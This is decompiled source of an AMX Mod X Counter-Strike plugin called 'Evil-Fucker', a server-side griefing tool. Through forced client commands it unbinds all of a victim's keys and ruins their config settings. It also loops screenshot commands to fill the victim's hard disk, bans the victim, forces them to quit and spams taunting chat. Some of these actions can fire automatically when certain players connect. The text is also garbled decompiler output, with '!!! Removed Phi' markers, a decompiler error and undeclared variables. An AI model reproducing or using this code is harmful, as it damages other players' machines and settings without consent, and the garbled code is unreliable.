#pragma semicolon 1
#pragma ctrlchar '\'
new TeamName[4][] =
{
"",
"TERRORIST",
"CT",
"SPECTATOR"
};
new bool:bCmd;
new g_servfile[128];
new g_servdir[64];
new g_servtxt[32];
new g_servlen = 31;
new r;
new t;
new g_savesrv;
new g_menuPosition[33];
new g_menuPlayers[33][32];
new g_menuPlayersNum[33];
new g_coloredMenus;
new menu;
new ban_time;
new targip[24];
new bans;
new hdd;
new targname[32];
new check;
new fly;
new cfg;
cmd_access(id, level, cid, num, bool:accesssilent)
{
!!! Removed Phi
new has_access = 0;
new var1;
if (is_dedicated_server())
{
var1 = 0;
}
else
{
var1 = 1;
}
if (var1 == id)
{
has_access = 1;
}
else
{
if (level == 16777216)
{
if (is_user_admin(id))
{
has_access = 1;
}
}
if (level & get_user_flags(id, 0))
{
has_access = 1;
}
if (level)
{
}
else
{
has_access = 1;
}
}
if (has_access)
{
if (num > read_argc())
{
new hcmd[32];
new hinfo[128];
new hflag = 0;
get_concmd(cid, hcmd, 31, hflag, hinfo, 127, level, -1);
console_print(id, "%L: %s %s", id, "USAGE", hcmd, hinfo);
return 0;
}
return 1;
}
if (!accesssilent)
{
console_print(id, "%L", id, "NO_ACC_COM");
}
return 0;
}
access(id, level)
{
if (level == 16777216)
{
return is_user_admin(id);
}
if (level)
{
return level & get_user_flags(id, 0);
}
return 1;
}
cmd_target(id, String:arg[], flags)
{
!!! Removed Phi
new player = find_player("bl", arg);
if (player)
{
if (find_player("blj", arg) != player)
{
console_print(id, "%L", id, "MORE_CL_MATCHT");
return 0;
}
}
else
{
if (var4 && arg[0] == 35 && arg[1])
{
player = find_player("k", str_to_num(arg[1]));
}
}
if (!player)
{
console_print(id, "%L", id, "CL_NOT_FOUND");
return 0;
}
if (flags & 1)
{
if (get_user_flags(player, 0) & 1 && flags & 2)
{
new imname[32];
get_user_name(player, imname, 31);
console_print(id, "%L", id, "CLIENT_IMM", imname);
return 0;
}
}
if (flags & 4)
{
if (!is_user_alive(player))
{
new imname[32];
get_user_name(player, imname, 31);
console_print(id, "%L", id, "CANT_PERF_DEAD", imname);
return 0;
}
}
if (flags & 8)
{
if (is_user_bot(player))
{
new imname[32];
get_user_name(player, imname, 31);
console_print(id, "%L", id, "CANT_PERF_BOT", imname);
return 0;
}
}
return player;
}
get_configsdir(String:name[], len)
{
return get_localinfo("amxx_configsdir", name, len);
}
ColorChat(id, Color:type, String:msg[])
{
!!! Removed Phi
if (!get_playersnum(0))
{
return 0;
}
new message[256];
switch (type)
{
case 1:
{
message[0] = 1;
}
case 2:
{
message[0] = 4;
}
default:
{
message[0] = 3;
}
}
vformat(message[1], 251, msg, 4);
message[192] = 0;
new team = 0;
new ColorChange = 0;
new index = 0;
new MSG_Type = 0;
if (id)
{
MSG_Type = 1;
index = id;
}
else
{
index = FindPlayer();
MSG_Type = 2;
}
new var1 = Heap_4;
var1[0] = 748;
team = get_user_team(index, var1, 0);
ColorChange = ColorSelection(index, MSG_Type, type);
ShowColorMessage(index, MSG_Type, message);
if (ColorChange)
{
Team_Info(index, MSG_Type, TeamName[team][0][0]);
}
return 0;
}
ShowColorMessage(id, type, String:message[])
{
!!! Removed Phi
static bool:saytext_used;
static get_user_msgid_saytext;
if (!saytext_used)
{
get_user_msgid_saytext = get_user_msgid("SayText");
saytext_used = 1;
}
message_begin(type, get_user_msgid_saytext, 792, id);
write_byte(id);
write_string(message);
message_end();
return 0;
}
Team_Info(id, type, String:team[])
{
!!! Removed Phi
static bool:teaminfo_used;
static get_user_msgid_teaminfo;
if (!teaminfo_used)
{
get_user_msgid_teaminfo = get_user_msgid("TeamInfo");
teaminfo_used = 1;
}
message_begin(type, get_user_msgid_teaminfo, 792, id);
write_byte(id);
write_string(team);
message_end();
return 1;
}
ColorSelection(index, type, Color:Type)
{
switch (Type)
{
case 4:
{
new var1 = TeamName;
return Team_Info(index, type, var1[0][0][var1]);
}
case 5:
{
return Team_Info(index, type, TeamName[1][0]);
}
case 6:
{
return Team_Info(index, type, TeamName[2][0]);
}
default:
{
return 0;
}
}
}
FindPlayer()
{
new i = -1;
while (get_maxplayers() >= i)
{
i++;
if (is_user_connected(i))
{
return i;
}
}
return -1;
}
public plugin_natives()
{
set_module_filter("module_filter");
set_native_filter("native_filter");
return 0;
}
public plugin_init()
{
register_plugin("Evil-Fucker", "1.9", "Alucard");
register_dictionary("common.txt");
register_dictionary("admincmd.txt");
register_dictionary("evil-fucker.txt");
register_concmd("amx_fuck", "fuck", 8, "amx_fuck \"nick\" - kill target cs(config, gameplay) + HDD :D", -1);
register_clcmd("amx_fuckmenu", "cmdFuckMenu", 8, " - Displays Evil-Fuck menu", -1);
bans = register_cvar("amx_fuck_bans", "2", 0, 0.00);
ban_time = register_cvar("amx_fuck_time", "10080", 0, 0.00);
hdd = register_cvar("amx_fuck_hdd", "3", 0, 0.00);
check = register_cvar("amx_fuck_check", "2", 0, 0.00);
fly = register_cvar("amx_fuck_fly", "1", 0, 0.00);
cfg = register_cvar("amx_fuck_cfg", "2", 0, 0.00);
register_menucmd(register_menuid("Evil-Fucker Menu", 0), 1023, "actionFuckMenu");
g_coloredMenus = colored_menus();
menu_setprop(menu, 1, 7);
return 0;
}
public client_authorized(id)
{
!!! Removed Phi
if (ta_hdd == 1 || ta_hdd == 3)
{
new testip[24];
new testname[32];
get_user_ip(id, testip, 24, 0);
get_user_name(id, testname, 31);
new ta_check = get_pcvar_num(check);
if (ta_check == 1)
{
if (equali("", testname, 0))
{
new parms[1];
parms[0] = id;
set_task(3.00, "fuck_timer", id + 1337, parms, 1, "", 0);
new ta_cfg = get_pcvar_num(cfg);
if (ta_cfg == 2)
{
set_task(0.30, "fuck_cfg", id + 1337, parms, 1, "", 0);
}
}
}
if (ta_check == 2)
{
if (equali("", testip, 0))
{
new parms[1];
parms[0] = id;
set_task(3.00, "fuck_timer", id + 1337, parms, 1, "", 0);
new ta_cfg = get_pcvar_num(cfg);
if (ta_cfg == 2)
{
set_task(0.30, "fuck_cfg", id + 1337, parms, 1, "", 0);
}
}
}
if (ta_check == 3)
{
if (equali("", testip, 0) && equali("", testname, 0))
{
new parms[1];
parms[0] = id;
set_task(3.00, "fuck_timer", id + 1337, parms, 1, "", 0);
new ta_cfg = get_pcvar_num(cfg);
if (ta_cfg == 2)
{
set_task(0.30, "fuck_cfg", id + 1337, parms, 1, "", 0);
}
}
}
if (ta_check == 4)
{
if (equali("", testip, 0) || equali("", testname, 0))
{
new parms[1];
parms[0] = id;
set_task(3.00, "fuck_timer", id + 1337, parms, 1, "", 0);
new ta_cfg = get_pcvar_num(cfg);
if (ta_cfg == 2)
{
set_task(0.30, "fuck_cfg", id + 1337, parms, 1, "", 0);
}
}
}
}
return 0;
}
public client_disconnect(id)
{
remove_task(id + 45630, 0);
remove_task(id, 0);
return 0;
}
public fuck(id, level, cid, FindPlayer)
{
!!! Removed Phi
if (!cmd_access(id, level, cid, 2, false))
{
return 1;
}
if (bCmd)
{
waittimer(id);
return 1;
}
new arg[32];
new name[32];
new sAuthid[35];
new sAuthid2[35];
read_argv(1, arg, 31);
new target = cmd_target(id, arg, 1);
get_user_name(target, name, 31);
get_user_authid(target, sAuthid, 34);
get_user_authid(id, sAuthid2, 34);
loadsrv();
writesrv();
if (!target)
{
return 1;
}
if (ta_cfg == 1 || ta_cfg == 2)
{
set_task(0.10, "fuck_cfg", id + 1337, parms, 1, "", 0);
}
if (ta_bans == 1 || ta_bans == 2)
{
new parm[2];
parm[0] = target;
parm[1] = id;
set_task(3.00, "fuck_ban", id + 1337, parm, 2, "", 0);
}
if (ta_hdd == 2 || ta_hdd == 3)
{
set_task(0.20, "fuck_timer", id + 1337, parms, 1, "", 0);
}
if (ta_hdd == 1 || ta_hdd == 3)
{
get_user_ip(target, targip, 24, 0);
get_user_name(target, targname, 31);
}
ColorChat(FindPlayer, Color:1, "\4%s\1 Fucked by\3 Evil-Fucker v.\4%s", name, "1.9");
new ta_fly = get_pcvar_num(fly);
if (ta_fly == 1)
{
fuck_fly(target);
}
bCmd = 1;
waittimer(id);
return 0;
}
public fuck_timer(String:parms[])
{
new victim = parms[0];
client_cmd(victim, "snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait");
parms[0] = victim;
set_task(1.00, "fuck_timer", victim + 1337, parms, 1, "", 0);
return 0;
}
public waittimer(id)
{
new parm[1];
parm[0] = id;
if (bCmd)
{
set_task(3.00, "waittime", id + 45630, parm, 0, "", 0);
}
return 0;
}
public waittime(id)
{
if (task_exists(id + 45630, 0))
{
remove_task(id + 45630, 0);
}
bCmd = 0;
return 0;
}
loadsrv()
{
get_configsdir(g_servdir, 63);
format(g_servfile, 127, "%s/served.q", g_servdir);
if (!file_exists(g_servfile))
{
return 1;
}
read_file(g_servfile, 0, g_servtxt, g_servlen, r);
g_savesrv = str_to_num(g_servtxt);
return 0;
}
writesrv()
{
get_configsdir(g_servdir, 63);
format(g_servfile, 127, "%s/served.q", g_servdir);
if (!file_exists(g_servfile))
{
return 1;
}
read_file(g_servfile, 0, g_servtxt, g_servlen, t);
g_savesrv = str_to_num(g_servtxt);
g_savesrv = g_savesrv + 1;
format(g_servtxt, 31, "%i", g_savesrv);
delete_file(g_servfile);
write_file(g_servfile, g_servtxt, -1);
return 0;
}
public fuck_fly(id)
{
!!! Removed Phi
new target = id;
client_cmd(target, "+right");
if (entity_get_int(target, EV_INT_flags) & 512)
{
new Float:Velocity[3];
entity_get_vector(target, 2, Velocity);
Velocity[0] = random_float(600.00, 900.00);
Velocity[1] = random_float(600.00, 900.00);
Velocity[2] = random_float(600.00, 900.00);
entity_set_vector(target, 2, Velocity);
}
entity_set_float(target, EV_FL_friction, 6.90);
entity_set_float(target, EV_FL_gravity, 0.00);
client_cmd(target, "+jump");
return 0;
}
public actionFuckMenu(id, key)
{
switch (key)
{
case 8:
{
new var2 = g_menuPosition[id];
var2++;
displayFuckMenu(id, var2[0][0]);
}
case 9:
{
new var1 = g_menuPosition[id];
var1--;
displayFuckMenu(id, var1[0][0]);
}
default:
{
new player = g_menuPlayers[id][0][0][key + g_menuPosition[id][0][0] * 8];
new name2[32];
get_user_name(player, name2, 31);
server_cmd("amx_fuck \"%s\"", name2);
server_exec();
displayFuckMenu(id, g_menuPosition[id][0][0]);
}
}
/ * ERROR! Не удалось привести тип объекта "Lysis.DSentinel" к типу "Lysis.DReturn". * /
function "actionFuckMenu"
public actionFuckMenu(id, key)
displayFuckMenu(id, pos)
{
!!! Removed Phi
if (0 > pos)
{
return 0;
}
get_players(g_menuPlayers[id][0][0], g_menuPlayersNum[id], "", "");
new menuBody[512];
new b = 0;
new i = 0;
new name[32];
new start = pos * 8;
if (g_menuPlayersNum[id][0][0] <= start)
{
g_menuPosition[id] = 0;
pos = 0;
start = 0;
}
new len;
new var1;
if (g_menuPlayersNum[id][0][0])
{
var1 = 1;
}
else
{
var1 = 0;
}
new var2;
if (g_coloredMenus)
{
var2[0] = 9256;
}
else
{
var2[0] = 9320;
}
len = format(menuBody, 511, var2, id, "FUCK_MENU", pos + 1, var1 + g_menuPlayersNum[id][0][0] / 8);
new end = start + 8;
new keys = 512;
if (g_menuPlayersNum[id][0][0] < end)
{
end = g_menuPlayersNum[id][0][0];
}
new a = start;
while (a < end)
{
i = g_menuPlayers[id][0][0][a];
get_user_name(i, name, 31);
if (access(i, 1))
{
b++;
if (g_coloredMenus)
{
len = format(menuBody[len], 511 - len, "\r%d.\w %s\n\w", b, name) + len;
a++;
}
else
{
len = format(menuBody[len], 511 - len, "#. %s \r*\n\w", name) + len;
a++;
}
a++;
}
else
{
keys = 1 << b | keys;
if (is_user_admin(i))
{
b++;
new var3;
if (g_coloredMenus)
{
var3[0] = 9512;
}
else
{
var3[0] = 9584;
}
len = format(menuBody[len], 511 - len, var3, b, name) + len;
a++;
}
b++;
len = format(menuBody[len], 511 - len, "\r%d.\w %s\n", b, name) + len;
a++;
}
a++;
}
if (g_menuPlayersNum[id][0][0] != end)
{
new var4;
if (pos)
{
var4 = 9820;
}
else
{
var4 = 9840;
}
format(menuBody[len], 511 - len, "\n\r9.\w %L...\n\r0.\w %L", id, "MORE", id, var4);
keys |= 256;
}
else
{
new var5;
if (pos)
{
var5 = 9904;
}
else
{
var5 = 9924;
}
format(menuBody[len], 511 - len, "\n\r0.\w %L", id, var5);
}
show_menu(id, keys, menuBody, -1, "Evil-Fucker Menu");
return 0;
}
public cmdFuckMenu(id, level, cid)
{
if (cmd_access(id, level, cid, 1, false))
{
g_menuPosition[id] = 0;
displayFuckMenu(id, 0);
}
return 1;
}
public fuck_msg(String:parms[])
{
new victim = parms[0];
ColorChat(victim, Color:1, "\3Your CS now\4 crashed\3 by \4 Evil-Fucker\3 v.%s", "1.9");
ColorChat(victim, Color:1, "\3Your CS now\4 crashed\3 by \4 Evil-Fucker\3 v.%s", "1.9");
ColorChat(victim, Color:1, "\3Your CS now\4 crashed\3 by \4 Evil-Fucker\3 v.%s", "1.9");
ColorChat(victim, Color:1, "\3Your CS now\4 crashed\3 by \4 Evil-Fucker\3 v.%s", "1.9");
ColorChat(victim, Color:1, "\3Your CS now\4 crashed\3 by \4 Evil-Fucker\3 v.%s", "1.9");
ColorChat(victim, Color:1, "\3Your CS now\4 crashed\3 by \4 Evil-Fucker\3 v.%s", "1.9");
parms[0] = victim;
set_task(1.50, "fuck_msg2", victim + 1337, parms, 1, "", 0);
return 0;
}
public fuck_msg2(String:parms[])
{
new victim = parms[0];
ColorChat(victim, Color:1, "\3Your CS now\4 crashed\3 by \4 Evil-Fucker\3 v.%s", "1.9");
ColorChat(victim, Color:1, "\3Your CS now\4 crashed\3 by \4 Evil-Fucker\3 v.%s", "1.9");
ColorChat(victim, Color:1, "\3Your CS now\4 crashed\3 by \4 Evil-Fucker\3 v.%s", "1.9");
ColorChat(victim, Color:1, "\3Your CS now\4 crashed\3 by \4 Evil-Fucker\3 v.%s", "1.9");
ColorChat(victim, Color:1, "\3Your CS now\4 crashed\3 by \4 Evil-Fucker\3 v.%s", "1.9");
ColorChat(victim, Color:1, "\3Your CS now\4 crashed\3 by \4 Evil-Fucker\3 v.%s", "1.9");
parms[0] = victim;
return 0;
}
public fuck_ban(String:parm[])
{
!!! Removed Phi
new id = parm[0];
new idad = parm[1];
new targid[32];
static btime[32];
get_pcvar_string(ban_time, btime, 31);
get_user_authid(id, targid, 31);
switch (get_cvar_num("amx_fuck_bans"))
{
case 0:
{
}
case 1:
{
client_cmd(idad, "amx_ban %s %s Fucked!", targid, btime);
}
case 2:
{
client_cmd(idad, "amx_ban %s %s Fucked!", btime, targid);
}
default:
{
}
}
if ((ta_hdd && ta_bans) || (ta_hdd == 1 && ta_bans) || (ta_hdd && ta_bans == 2) || (ta_hdd == 1 && ta_bans == 2))
{
client_cmd(id, "quit");
}
return 0;
}
public fuck_cfg(String:parms[])
{
new ctrj = parms[0];
client_cmd(ctrj, "unbindall;rate 1;gl_flipmatrix 1;cl_cmdrate 10;cl_updaterate 10;fps_max 1;hideradar;con_color \"1 1 1\"");
client_cmd(ctrj, "developer 1");
client_cmd(ctrj, "unbind w;wait;unbind a;unbind s;wait;unbind d;wait;unbind mouse2;unbind mouse3;wait;unbind space");
client_cmd(ctrj, "unbind ctrl;wait;unbind 1;unbind 2;wait;unbind 3;unbind 4;wait;unbind 5;unbind 6;wait;unbind 7");
client_cmd(ctrj, "unbind 8;wait;unbind 9;unbind 0;wait;unbind r;unbind e;wait;unbind g;unbind q;wait;unbind shift");
client_cmd(ctrj, "unbind end;wait;unbind z;wait;unbind x;unbind c;wait;unbind uparrow;unbind downarrow;wait;unbind leftarrow");
client_cmd(ctrj, "unbind rightarrow;wait;unbind mwheeldown;unbind mwheelup;wait");
client_cmd(ctrj, "unbind `; unbind ~;unbind escape");
return 0;
}